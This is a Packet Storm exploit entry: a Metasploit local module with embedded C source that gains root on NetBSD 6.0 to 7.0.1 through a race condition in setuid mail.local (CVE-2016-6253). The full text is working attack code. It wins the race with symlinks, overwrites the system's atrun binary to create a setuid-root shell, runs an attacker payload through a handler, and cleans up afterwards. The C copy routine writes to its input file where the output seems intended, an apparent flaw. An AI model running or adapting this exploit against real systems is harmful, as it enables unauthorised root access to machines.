NetBSD mail.local Privilege Escalation

2016-09-15T00:00:00
ID PACKETSTORM:138733
Type packetstorm
Reporter h00die
Modified 2016-09-15T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require "msf/core"  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'NetBSD mail.local Privilege Escalation',  
'Description' => %q{  
This module attempts to exploit a race condition in mail.local with SUID bit set on:  
NetBSD 7.0 - 7.0.1 (verified on 7.0.1)  
NetBSD 6.1 - 6.1.5  
NetBSD 6.0 - 6.0.6  
Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die <mike@stcyrsecurity.com>', # Module  
'akat1' # Discovery  
],  
  
'DisclosureDate' => 'Jul 07 2016',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'SessionTypes' => %w{shell meterpreter},  
'Privileged' => true,  
'Payload' => {  
'Compat' => {  
'PayloadType' => 'cmd cmd_bash',  
'RequiredCmd' => 'generic openssl'  
}  
},  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'WfsDelay' => 603 }, #can take 10min for cron to kick  
'References' =>  
[  
[ "URL", "http://akat1.pl/?id=2"],  
[ "EDB", "40141"],  
[ "CVE", "2016-6253"],  
[ "URL", "http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc"]  
]  
))  
register_options([  
OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),  
OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),  
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])  
], self.class)  
end  
  
def exploit  
# lots of this file's format is based on pkexec.rb  
  
# direct copy of code from exploit-db  
main = %q{  
// Source: http://akat1.pl/?id=2  
  
#include <stdio.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <signal.h>  
#include <stdlib.h>  
#include <string.h>  
#include <err.h>  
#include <sys/wait.h>  
  
#define ATRUNPATH "/usr/libexec/atrun"  
#define MAILDIR "/var/mail"  
  
static int  
overwrite_atrun(void)  
{  
char *script = "#! /bin/sh\n"  
"cp /bin/ksh /tmp/ksh\n"  
"chmod +s /tmp/ksh\n";  
size_t size;  
FILE *fh;  
int rv = 0;  
  
fh = fopen(ATRUNPATH, "wb");  
  
if (fh == NULL) {  
rv = -1;  
goto out;  
}  
  
size = strlen(script);  
if (size != fwrite(script, 1, strlen(script), fh)) {  
rv = -1;  
goto out;  
}  
  
out:  
if (fh != NULL && fclose(fh) != 0)  
rv = -1;  
  
return rv;  
}  
  
static int  
copy_file(const char *from, const char *dest, int create)  
{  
char buf[1024];  
FILE *in = NULL, *out = NULL;  
size_t size;  
int rv = 0, fd;  
  
in = fopen(from, "rb");  
if (create == 0)  
out = fopen(dest, "wb");  
else {  
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);  
if (fd == -1) {  
rv = -1;  
goto out;  
}  
out = fdopen(fd, "wb");  
}  
  
if (in == NULL || out == NULL) {  
rv = -1;  
goto out;  
}  
  
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {  
if (fwrite(&buf, 1, size, in) != 0) {  
rv = -1;  
goto out;  
}  
}  
  
out:  
if (in != NULL && fclose(in) != 0)  
rv = -1;  
if (out != NULL && fclose(out) != 0)  
rv = -1;  
return rv;  
}  
  
int  
main()  
{  
pid_t pid;  
uid_t uid;  
struct stat sb;  
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;  
  
umask(0077);  
  
login = getlogin();  
  
if (login == NULL)  
err(EXIT_FAILURE, "who are you?");  
  
uid = getuid();  
  
asprintf(&mailbox, MAILDIR "/%s", login);  
  
if (mailbox == NULL)  
err(EXIT_FAILURE, NULL);  
  
if (access(mailbox, F_OK) != -1) {  
/* backup mailbox */  
asprintf(&mailbox_backup, "/tmp/%s", login);  
if (mailbox_backup == NULL)  
err(EXIT_FAILURE, NULL);  
}  
  
if (mailbox_backup != NULL) {  
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup);  
if (copy_file(mailbox, mailbox_backup, 1))  
err(EXIT_FAILURE, "[-] failed");  
}  
  
/* backup atrun(1) */  
atrun_backup = strdup("/tmp/atrun");  
if (atrun_backup == NULL)  
err(EXIT_FAILURE, NULL);  
  
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);  
  
if (copy_file(ATRUNPATH, atrun_backup, 1))  
err(EXIT_FAILURE, "[-] failed");  
  
/* win the race */  
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);  
  
switch (pid = fork()) {  
case -1:  
err(EXIT_FAILURE, NULL);  
/* NOTREACHED */  
case 0:  
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "  
"2> /dev/null", login);  
  
for(;;)  
system(buf);  
/* NOTREACHED */  
  
default:  
umask(0022);  
for(;;) {  
int fd;  
unlink(mailbox);  
symlink(ATRUNPATH, mailbox);  
sync();  
unlink(mailbox);  
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);  
close(fd);  
sync();  
if (lstat(ATRUNPATH, &sb) == 0) {  
if (sb.st_uid == uid) {  
kill(pid, 9);  
fprintf(stderr, "[+] won race!\n");  
break;  
}  
}  
}  
break;  
}  
(void)waitpid(pid, NULL, 0);  
  
if (mailbox_backup != NULL) {  
/* restore mailbox */  
fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox);  
  
if (copy_file(mailbox_backup, mailbox, 0))  
err(EXIT_FAILURE, "[-] failed");  
if (unlink(mailbox_backup) != 0)  
err(EXIT_FAILURE, "[-] failed");  
}  
  
/* overwrite atrun */  
fprintf(stderr, "[+] overwriting atrun(1)\n");  
  
if (chmod(ATRUNPATH, 0755) != 0)  
err(EXIT_FAILURE, NULL);  
  
if (overwrite_atrun())  
err(EXIT_FAILURE, NULL);  
  
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");  
  
for(;;sleep(1)) {  
if (access("/tmp/ksh", F_OK) != -1)  
break;  
}  
  
/* restore atrun */  
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH);  
  
if (copy_file(atrun_backup, ATRUNPATH, 0))  
err(EXIT_FAILURE, "[-] failed");  
if (unlink(atrun_backup) != 0)  
err(EXIT_FAILURE, "[-] failed");  
  
if (chmod(ATRUNPATH, 0555) != 0)  
err(EXIT_FAILURE, NULL);  
  
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "  
"ownership.\n");  
fprintf(stderr, "Enjoy your shell:\n");  
  
execl("/tmp/ksh", "ksh", NULL);  
  
return 0;  
}  
}  
# patch in our variable maildir and atrunpath  
main.gsub!(/#define ATRUNPATH "\/usr\/libexec\/atrun"/,  
"#define ATRUNPATH \"#{datastore["ATRUNPATH"]}\"")  
main.gsub!(/#define MAILDIR "\/var\/mail"/,  
"#define MAILDIR \"#{datastore["MAILDIR"]}\"")  
  
executable_path = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"  
payload_file = "#{rand_text_alpha(8)}"  
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"  
vprint_status("Writing Payload to #{payload_path}")  
# patch in to run our payload as part of ksh  
main.gsub!(/execl\("\/tmp\/ksh", "ksh", NULL\);/,  
"execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);")  
  
write_file(payload_path, payload.encoded)  
cmd_exec("chmod 555 #{payload_path}")  
register_file_for_cleanup(payload_path)  
  
print_status "Writing exploit to #{executable_path}.c"  
  
# clean previous bad attempts to prevent c code from exiting  
rm_f executable_path  
rm_f '/tmp/atrun'  
whoami = cmd_exec('whoami')  
rm_f "/tmp/#{whoami}"  
  
write_file("#{executable_path}.c", main)  
print_status("Compiling #{executable_path}.c via gcc")  
output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c")  
output.each_line { |line| vprint_status(line.chomp) }  
  
print_status('Starting the payload handler...')  
handler({})  
  
print_status("Executing at #{Time.now}. May take up to 10min for callback")  
output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out")  
output.each_line { |line| vprint_status(line.chomp) }  
  
# our sleep timer  
stime = Time.now.to_f  
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f  
Rex.sleep(1)  
end  
print_status("#{Time.now}")  
register_file_for_cleanup(executable_path)  
register_file_for_cleanup("#{executable_path}.out")  
print_status("Remember to run: chown root:wheel #{datastore["ATRUNPATH"]}")  
end  
end  
`